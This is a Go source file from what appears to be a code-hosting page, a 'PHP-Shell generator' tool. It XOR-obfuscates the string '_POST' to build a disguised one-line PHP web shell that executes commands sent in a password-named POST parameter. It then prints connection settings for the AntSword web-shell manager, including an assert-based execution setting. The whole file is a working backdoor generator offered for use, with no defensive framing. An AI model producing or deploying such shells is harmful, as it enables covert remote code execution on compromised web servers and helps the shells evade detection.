-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
78 lines (66 loc) · 1.7 KB
/
main.go
File metadata and controls
78 lines (66 loc) · 1.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"flag"
"fmt"
"math/rand"
"time"
)
const charset = "*&^~!#?|+-="
func banner() {
banner := `
// ) ) // ) )
//___/ / (( / __ ___ // //
/ ____ / ____ \\ // ) ) //___) ) // //
// ) ) // / / // // //
// ((___ / / // / / ((____ // //
PHP-Shell生成器V1.0
author:Qianbenhyu-GPT
`
print(banner, "\n")
}
func generateX(length int, target string) string {
rand.Seed(time.Now().UnixNano())
result := make([]byte, length)
for i := range result {
for {
ch := charset[rand.Intn(len(charset))]
xorResult := ch ^ target[i]
if xorResult >= 32 && xorResult <= 126 {
result[i] = ch
break
}
}
}
return string(result)
}
func xorString(s1, s2 string) string {
minLen := len(s1)
if len(s2) < minLen {
minLen = len(s2)
}
result := make([]byte, minLen)
for i := 0; i < minLen; i++ {
xorResult := s1[i] ^ s2[i]
result[i] = xorResult
}
return string(result)
}
func xormain() {
pwd := flag.String("pwd", "", "-pwd 输入连接密码")
flag.Parse()
pwd2 := *pwd
X := generateX(5, "_POST")
Y := xorString(X, "_POST")
result := fmt.Sprintf("<?=~$_='%s'^'%s';@${$_}[_](@${$_}[%s]);", X, Y, pwd2)
Z := xorString(X, Y)
if Z == "_POST" {
fmt.Println("[+] \u001B[31mSUCCESS:\u001B[0m ==>", result)
} else {
fmt.Println("\u001B[31m[*] Failed to generate a shell, please try twice!\u001B[0m")
}
fmt.Println("[+] \u001B[31mAntsword\u001B[0m ==> En/decoder: Base64 Pass: ", pwd2, "POST _=assert")
}
func main() {
banner()
xormain()
}